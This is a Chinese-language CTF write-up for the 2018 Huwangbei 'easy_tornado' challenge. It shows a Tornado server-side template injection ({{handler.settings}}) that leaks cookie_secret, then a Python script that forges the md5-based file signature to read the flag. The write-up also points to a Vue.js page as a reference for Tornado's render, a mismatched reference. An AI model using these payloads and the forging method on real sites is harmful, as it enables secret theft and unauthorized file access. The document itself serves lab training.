BUUCTF WEB 2 – 护网杯 2018 easy_tornado
护网杯 2018 easy_tornado
访问题目
点击3个链接
http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/flag.txt&filehash=873061c462852a3cea2cc5a47ed7203c
提示了flag所在位置
http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/welcome.txt&filehash=a10b7401b42ad264a1455b10cd323f5a
提示了render函数
http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/hints.txt&filehash=cc2782811517430154e850bf016aa99c
提示了签名的算法,所以这里我们需要找到cookie_secret
。由于本题目采用的是tornado框架
在不更改签名的情况下访问fllllllllllllag
文件
提示错误,这里可以看到存在msg=Error
,做测试msg={{1^99}}
,可以从下图看到render模板执行了。
渲染函数render的资料https://cn.vuejs.org/v2/guide/render-function.html。
根据tornado的文档找到cookie_secret在文件handler/settings
中,使用render读取此文件内容。
http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/error?msg={{handler.settings}}
cookie_secret为3e234619-1c79-4fe9-ac54-03a529c8c2ae
根据签名算法md5(cookie_secret+md5(filename)),写脚本。
import hashlib
md5 = hashlib.md5()
filename = '/fllllllllllllag'
cookie_secret = '3e234619-1c79-4fe9-ac54-03a529c8c2ae'
md5.update(filename.encode("utf8"))
file_md5 = md5.hexdigest()
print file_md5
md5 = hashlib.md5()
md5.update(cookie_secret + file_md5)
sign = md5.hexdigest()
print sign
得到签名为 00141bd962089e962ea4ecc5a29e6a32,构造链接
http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=00141bd962089e962ea4ecc5a29e6a32 访问。
flag{58c07c13-dd0a-43da-84f3-93c2cfdac5b9}